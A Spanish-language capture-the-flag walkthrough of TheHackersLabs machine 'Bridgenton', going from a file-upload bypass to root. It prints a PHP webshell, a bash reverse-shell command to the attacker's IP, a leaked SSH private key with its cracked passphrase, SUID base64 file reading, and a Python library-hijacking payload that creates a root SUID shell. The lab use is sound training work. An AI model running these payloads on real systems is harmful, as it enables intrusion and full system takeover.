Bridgenton – TheHackersLabs Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: TheHackersLabs

‘TheHackersLabs’ Avatar


Resumen Link to heading

Bridgenton es una máquina fácil de la plataforma TheHackerLabs. Podemos ver que la máquina víctima está corriendo una página web la cual nos permite subir archivos. Luego de probar qué extensiones acepta esta página, somos capaces de encontrar una extensión la cual nos permite subir un archivo PHP malicioso y ganar así acceso inicial al sistema. Una vez dentro, somos capaces de ver un binari ocon permisos SUID inusuales, lo cual nos permite pivotear a otro usuario dentro del sistema. Este último usuario es capaz de ejecutar un script de Python con sudo como el usuario root, el cual es vulnerable a un Library hijacking; pudiendo así impersonar al usuario root.


User / Usuario Link to heading

Empezando con un scan con Nmap muestra 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.20.1.125 -oG allPorts

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 18:58 -04
Initiating ARP Ping Scan at 18:58
Scanning 10.20.1.125 [1 port]
Completed ARP Ping Scan at 18:58, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:58
Scanning 10.20.1.125 [65535 ports]
Discovered open port 22/tcp on 10.20.1.125
Discovered open port 80/tcp on 10.20.1.125
Completed SYN Stealth Scan at 18:58, 2.54s elapsed (65535 total ports)
Nmap scan report for 10.20.1.125
Host is up, received arp-response (0.00055s latency).
Scanned at 2024-09-02 18:58:54 -04 for 2s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:8D:CA:AA (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.90 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Y chequeando las versiones de estos servicios junto con algunos scripts de reconocimiento con la flag -sVC, tenemos:

❯ sudo nmap -sVC -p22,80 10.20.1.125 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 18:59 -04
Nmap scan report for 10.20.1.125
Host is up (0.00080s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 ad:fa:fa:1a:e7:99:65:1b:f9:e9:c4:55:be:f5:3a:f3 (ECDSA)
|_  256 d7:87:d7:2e:d9:a3:4e:87:87:3d:b9:b8:ba:89:b5:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Universidad Bridgenton
MAC Address: 08:00:27:8D:CA:AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.09 seconds

Aunque esto no muestra mucha info.

Visitando el sitio HTTP de la máquina víctima (http://10.20.1.125 en mi caso) muestra una página web del portal de una universidad:

Bridgenton 1

Muchos botones no funcionan. No obstante, los que están en la parte central superior sí lo hacen.

El botón de Admisiones nos permite crear una cuenta. Clickeando en éste nos redirige a /registro.php. Ahora podemos ver:

Bridgenton 2

Si intento crear un usuario la página nos exige subir un archivo como imagen. De manera que subimos una imagen .png genérica:

Bridgenton 3

Pero cuando nos intentamos registar la página nos retorna un error:

Bridgenton 4

Error: Solo se permite cargar archivos con extensión .jpg, .jpeg, .png. Por favor, carga un archivo con una extensión válida.

Básicamente, la página nos dice que la extensión que hemos provisto no es válida a pesar de haber subido una imagen en formato .png.

Dado que la ruta para registrarse era /registro.php, esto puede significar que el servidor está corriendo utilizando PHP y, por tanto, podríamos tratar de subir un archivo PHP malicioso. Podemos obtener una lista de extensiones para archivos de HackTricks o este blog (ambos son básicamente la misma lista) y la guardo en un archivo llamado php_extensions_list.txt:

❯ cat php_extensions_list.txt

.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module

Lo que haremos ahora será chequear qué aplicaciones son “aceptadas” por la aplicación. Para esto abrimos Burpsuite e interceptamos la petición que se realiza al intentar registrar una cuenta al clickear en el botón Registrarse de la ruta /registro.php. Tenemos una petición como la que se muestra a continuación:

Bridgenton 5

Ahora, hago click derecho en esta petición y la mando al intruder haciendo click en Send to Intruder. Luego, vamos al la pestaña Intruder dentro de Burpsuite. Allí, vamos a la pestaña Payloads, vamos a la sección Payload settings, clickeamos en Load y seleccionamos la lista generada con extensiones PHP:

Bridgenton 6

Adicionalmente, al final de esta pestaña, quito la opción URL-encode these characters.

Luego, vamos a la pestaña Positions y localizamos la línea de la petición en donde se está mandando el archivo junto con su extensión:

Bridgenton 7

Seleccionamos la extensión (.png in my case) y, al lado derecho, clickeo en Add §. Ahora esta línea se ve como:

Bridgenton 8

Finalmente, clickeo en el botón Start attack localizado en la parte superior derecha. Una nueva ventana emergente aparece, como la siguiente:

Bridgenton

Si clickeamos en Lenght un par de veces, las peticiones se ordenen por Response Length, es decir, el tamaño de la respuesta de la petición HTTP enviada. Puede que encontremos una respuesta que tenga un tamaño diferente a la del resto y, por ende, pueda servirnos:

Bridgenton 10

La petición con la extensión .phtml es diferente a las otras. Haciendo doble click en esta petición, y luego seleccionando la pestaña Response, muestra algo interesante:

Bridgenton 11

HTTP/1.1 200 OK
Date: Tue, 03 Sep 2024 23:17:25 GMT
Server: Apache/2.4.57 (Debian)
Vary: Accept-Encoding
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Archivo cargado con éxito. Bienvenido, gunzf0x, te has registrado correctamente.

Este mensaje en la respuesta significa que nuestro archibo ha sido subido. Ahora, crearé un archivo PHP malicioso y lo llamaré image.phtml con el siguiente contenido:

<?php system($_GET['cmd']); ?>

Ahora, de vuelta al sitio web, nos registramos con un usuario de nuevo y subimos como archivo image.phtml, la cual es en realidad nuestro archivo PHP malicioso:

Bridgenton 12

Nota
Si no podemos ver nuestra imagen maliciosa a la hora de subirla, recordar cambiar la opción All Supported Types a All Files en la ventana/GUI que aparece para seleccionar la imagen a subir.

Clickeando en Registrarse somos capaces de registrar nuestra cuenta con el archivo malicioso exitosamente. ¿Pero dónde se encuentra éste localizado? Podemos entonces tratar de listar directorios a través de un Brute Force Directory Listing con la herramienta Gobuster usando un diccionario de directorios del repositorio SecLists. Para esto, corremos:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.125 -x php -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.20.1.125
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 2392]
/uploads              (Status: 301) [Size: 312] [--> http://10.20.1.125/uploads/]
/.php                 (Status: 403) [Size: 276]
/javascript           (Status: 301) [Size: 315] [--> http://10.20.1.125/javascript/]
/registrar.php        (Status: 200) [Size: 274]
/registro.php         (Status: 200) [Size: 980]
/.php                 (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
/bienvenida.php       (Status: 302) [Size: 0] [--> login.php]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

donde:

  • dir es el módulo de Gobuster para buscar por directorios.
  • -w es el diccionario usado para la búsqueda.
  • -u es la URL en donde queremos buscar los directorios/archivos.
  • -x busca por archivos con extensión además de directorios. De manera que, por ejemplo, en este caso la búsqueda intentará encontrar los directorios /example y el archivo example.php.
  • -t es el número de hilos a usar para agilizar el proceso.

Encontramos un directorio que se ve interesante llamado /uploads. Si visitamos http://10.20.1.125/uploads en neustro browser de internet puedo ver algo interesante:

Bridgenton 13

Podemos entonces ahora visitar http://10.20.1.125/uploads/image.phtml y funciona (dado que no obtenemos Error 404 o un error el cual indique que la página no existe).

Nota
Hay, aparentemente, un cronjob corriendo el cual remueve archivos del directorio /uploads cada cierto tiempo. De manera que si revisamos el directorio /uploads y nuestro archivo no está allí, puede que debamos de resubir nuestra imagen/archivo malicioso.

Ahora, podemos ver nuestra webshell visitando, por ejemplo, http://10.20.1.125/uploads/image.phtml?cmd=id. O podemos obtener exactamente el mismo resultado, pero desde nuestra terminal usando cURL:

❯ curl -s -X GET -G 'http://10.20.1.125/uploads/image.phtml' --data-urlencode 'cmd=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

y funciona.

Ahora intentaremos obtener una reverse shell. Para esto, empezamos un listenre con netcat en el puerto 443 corriendo:

❯ nc -lvnp 443

listening on [any] 443 ...

y en nuestra webshell nos enviamos una reverse shell a nuestra máquina de atacante corriendo:

❯ curl -s -X GET -G 'http://10.20.1.125/uploads/image.phtml' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"'

donde 10.20.1.110 es mi IP de atacante y 443 es el puerto en el cual ya me encuentro en escucha con netcat.

En nuestro listener obtenemos una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.125] 38774
bash: cannot set terminal process group (586): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Bridgenton:/var/www/html/uploads$ whoami

whoami
www-data

Luego de buscar por archivos interesantes en el sistema soy capaz de ver un archivo llamado procesar_registro.php en el directorio /var/www/html. Podemos leer su contenido:

<?php
// Iniciar la sesión
session_start();

// Verificar si se han enviado los datos del formulario
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Verificar que se hayan proporcionado un correo electrónico y contraseña
    if (!empty($_POST['email']) && !empty($_POST['password'])) {
        // Verificar las credenciales del usuario (aquí deberías agregar tu lógica de verificación)
        $email = $_POST['email'];
        $password = $_POST['password'];

        // Ejemplo básico: verificar que el correo electrónico sea "james@thl.com" y la contraseña sea "bridgenton_200189"
        if ($email === "james@thl.com" && $password === "bridgenton_200189") {
            // Inicio de sesión exitoso
            // Establecer el correo electrónico en la sesión
            $_SESSION['email'] = $email;
            // Redirigir al usuario a la página de bienvenida
            header("Location: bienvenida.php");
            exit();
        } else {
            // Credenciales incorrectas, mostrar un mensaje de error
            $mensajeError = "Credenciales incorrectas. Por favor, inténtalo de nuevo.";
        }
    } else {
        // Si no se proporcionaron correo electrónico o contraseña, mostrar un mensaje de error
        $mensajeError = "Por favor, proporcione un correo electrónico y una contraseña.";
    }
} else {
    // Si no se enviaron datos por POST, redirigir al formulario de inicio de sesión
    header("Location: login.php");
    exit();
}

// Si llegamos a este punto, significa que hubo un error en el inicio de sesión
// Mostrar el mensaje de error y permitir que el usuario vuelva a intentarlo
echo $mensajeError;
?>

Básicamente, la página de login de la web principal que habíamos visitado sólo acepta el mail james@thl.com con contraseña bridgenton_200189 cuando tratamos de loguearnos en /login.php. Si nos logueamos con estas credenciales, el sitio web mostrará el contenido del archivo bienvenidos.php; archivo el cual no tiene contenido interesante tampoco.

En este punto decido buscar por binarios con permisos SUID. Podemos usar el comando find para este propósito:

www-data@Bridgenton:/var/www/html$ find / -perm -4000 2>/dev/null

/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/base64
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

Entre todos ellos, /usr/bin/base64 es uno el cual no es usual. Buscando en GTFOBins cómo abuscar de este binario con este permiso, encontramos estos comandos:

sudo install -m =xs $(which base64) .

LFILE=file_to_read
./base64 "$LFILE" | base64 --decode

Basados en la última línea delos comandos anteriores, trataré de leer archivos los cuales sólo el usuario root debería de poder leer como, por ejemplo, /etc/shadow. Para esto podemos correr:

www-data@Bridgenton:/var/www/html$ /usr/bin/base64 /etc/shadow | base64 --decode

/usr/bin/base64: /etc/shadow: Permission denied

Pero tenemos el peremiso denegado. ¿Por qué?

Si revisamos detalles acerca del binario /usr/bin/base64 podemos ver la razón:

www-data@Bridgenton:/var/www/html$ ls -la /usr/bin/base64

-rwsr-xr-x 1 james james 48016 Sep 20  2022 /usr/bin/base64

El usuario james es el propietario de este binario y, por tanto, sólo podemos abusar del privilegio SUID para archivos relacionados a este usuario, no para el usuario root.

Dado que podemos leer archivos como el usuario james, y dado el hecho de que el servicio SSH se encuentra activo en la máquina, podemos tratar de leer keys SSH. Para este propósito podríamos tratar de leer el archivo /home/james/.ssh/id_rsa la cual es el archivo donde usualmente se almacena una key de SSH. Chequeo si el usuario james tiene un directorio en /home:

www-data@Bridgenton:/var/www/html$ ls -la /home

total 12
drwxr-xr-x  3 root  root  4096 Mar 29 00:56 .
drwxr-xr-x 18 root  root  4096 Mar 29 00:54 ..
drwx------  4 james james 4096 Sep  3 02:56 james

Y lo tiene, de manera que una key podría existir.

Basados en esto, corremos:

www-data@Bridgenton:/var/www/html$ /usr/bin/base64 /home/james/.ssh/id_rsa | base64 --decode

-----BEGIN OPENSSH PRIVATE KEY-----
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
miPO9cjj/N5uge70CWOIqG2YbP4=
-----END OPENSSH PRIVATE KEY-----

Pudimos obtener una key. Copio su contenido y lo guardo en un archivo llamado james_id_rsa usando Vim (o pueden usar su editor de texto preferido) en mi máquina de atacante y le asigno permisos de ejecución 600 con chmod para evitar conflictos con esta key:

❯ vim james_id_rsa

❯ chmod 600 james_id_rsa

Ahora, tratamos de loguearnos por SSH como el usuario james usando la key hallada:

❯ ssh -i james_id_rsa james@10.20.1.125

james@10.20.1.125's password:

Pero ésta nos sigue preguntando por una contraseña. ¿Por qué? Basados en este post de StackOverflow la key puede tener una passphrase. Para extraer su hash en un formato que sea crackeable es que usamos la herramienta ssh2john y tratar de crackearla con JohnTheRipper (john) usando un diccionario de contraseñas como el famoso rockyou.txt. De manera que, primero, pasamos la passphrase a un formato crackable:

❯ ssh2john james_id_rsa > james_hash_ssh

Donde hemos guardado el hash en un archivo llamado james_hash_ssh.

Luego, tratamos de crackearlo usando john junto con el diccionario rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt james_hash_ssh

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bowwow           (james_id_rsa)
1g 0:00:00:07 DONE (2024-09-03 20:11) 0.1328g/s 42.49p/s 42.49c/s 42.49C/s 50cent..101010
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Y tenemos una contraseña/passphrase: bowwow.

Si tratamos de loguearnos por medio de SSH conm la key hallada y la passphrase bowwow ahora esto sí funciona:

❯ ssh -i james_id_rsa james@10.20.1.125

james@10.20.1.125's password:
Linux Bridgenton 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep  3 03:49:28 2024 from 10.20.1.110
james@Bridgenton:~$

Y podemos leer la flag de usuario en el directorio /home de este usuario.


Root Link to heading

Revisando qué es lo que puede correr este usuario con sudo, podemos ver que podemos correr un script de Python llamado /opt/example.py:

james@Bridgenton:~$ sudo -l

Matching Defaults entries for james on Bridgenton:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User james may run the following commands on Bridgenton:
    (root) NOPASSWD: /usr/bin/python3 /opt/example.py

Revisando el contenido de /opt/example.py tenemos:

import hashlib

if __name__ == '__main__':


        cadena = "Hola esta es mi cadena"


        print(hashlib.md5(cadena.encode()).hexdigest())

Este script simplemente hashea el contenido de una frase. Eso es todo. Ejecutando este script lo confirma:

james@Bridgenton:~$ sudo /usr/bin/python3 /opt/example.py

81f4463d7bee15a7aa32e49e4d77fef9

Noto que este script está localizado en el directorio /opt. Si revisamos los permisos de este directorio:

james@Bridgenton:~$ ls -ld /opt

drwxr-xr-x 3 james root 4096 sep  4 02:21 /opt

Vemos que tanto el usuario root como james pueden escribir archivos en este directorio.

Como sea, tratar de reemplazar el script /opt/example.py por otro script malicioso no es una opción dado que /opt/example.py sólo puede ser escrito por el usuario root:

james@Bridgenton:~$ ls -la /opt/example.py

-rw-r--r-- 1 root root 132 abr  1 11:42 /opt/example.py

Podemos entonces intentar un Library Hijacking, pero primero necesitamos chequear la variable de entorno PATH para Python. Podemos chequear esto corriendo:

james@Bridgenton:~$ python3 -c 'import sys; print(sys.path)'

['', '/usr/lib/python311.zip', '/usr/lib/python3.11', '/usr/lib/python3.11/lib-dynload', '/usr/local/lib/python3.11/dist-packages', '/usr/lib/python3/dist-packages']

Donde el primer elemento '' significa que estamos ejecutando el directorio actual. Dado que el script está ubicado en /opt, esto significa que el script primero buscará por librerías en el directorio /opt, luego intentará buscar por librerías en la ruta /usr/lib/python311.zip, luego en /usr/lib/python3.11 y así…

De manera que vamos al directorio /opt y escribimos un archivo malicioso allí. Dado que /opt/example.py está llamando a la librería hashlib, esto significa que debemos llamar a nuestro script malicioso hashlib.py. Creamos entonces un script malicioso de Python con el siguiente contenido:

#!/usr/bin/python3

import os

os.system("cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x")

Lo que este simple script hace es crear una copia del binario bash y, a aquella copia, le asigna permisos SUID. Dado que el usuario que ejecutará el comando debería de ser root, ello significa que le asignaremos permisos SUID al binario/copia cuyo propietario será root.

Podemos realizar todo lo descrito anteriormente a través de una terminal/consola simplemente corriendo:

james@Bridgenton:~$ cd /opt # nos movemos al directorio /opt directory

james@Bridgenton:/opt$ echo -e '#!/usr/bin/python3\n\nimport os\n\nos.system("cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x")' > /opt/hashlib.py # creamos el archivo malicioso

james@Bridgenton:/opt$ sudo /usr/bin/python3 /opt/example.py # ejecutamos el archivo malicioso con 'sudo'

Traceback (most recent call last):
  File "/opt/example.py", line 9, in <module>
    print(hashlib.md5(cadena.encode()).hexdigest())
          ^^^^^^^^^^^
AttributeError: module 'hashlib' has no attribute 'md5'

El programa retornó un error: no pudo encontrar la función md5 en la librería hashlib. Eso es una buena señal.

Revisando el directorio /tmp podemos ver que nuestro archivo malicioso creado está allí:

james@Bridgenton:/opt$ ls -la /tmp

total 1268
drwxrwxrwt  8 root root    4096 sep  4 02:33 .
drwxr-xr-x 18 root root    4096 mar 29 00:54 ..
drwxrwxrwt  2 root root    4096 sep  4 00:34 .font-unix
-rwsr-xr-x  1 root root 1265648 sep  4 02:33 gunzf0x
drwxrwxrwt  2 root root    4096 sep  4 00:34 .ICE-unix
drwx------  3 root root    4096 sep  4 00:34 systemd-private-3cec9ecbbadd474da98f9c3ee0706548-apache2.service-za8GyY
drwx------  3 root root    4096 sep  4 00:34 systemd-private-3cec9ecbbadd474da98f9c3ee0706548-systemd-logind.service-D5OsPp
drwxrwxrwt  2 root root    4096 sep  4 00:34 .X11-unix
drwxrwxrwt  2 root root    4096 sep  4 00:34 .XIM-unix

donde -rwsr-xr-x 1 root root indica que éste tiene permisos SUID cuyo propietario es root tal cual habíamos planeado.

Finalmente, podemos correr este binario como el propietario de éste -el cual es root- con la flag -p e impersonar a este usuario:

james@Bridgenton:/opt$ /tmp/gunzf0x -p

gunzf0x-5.2# whoami
root

Podemos leer la flag del usuario root en el directorio /root.

~ Happy Hacking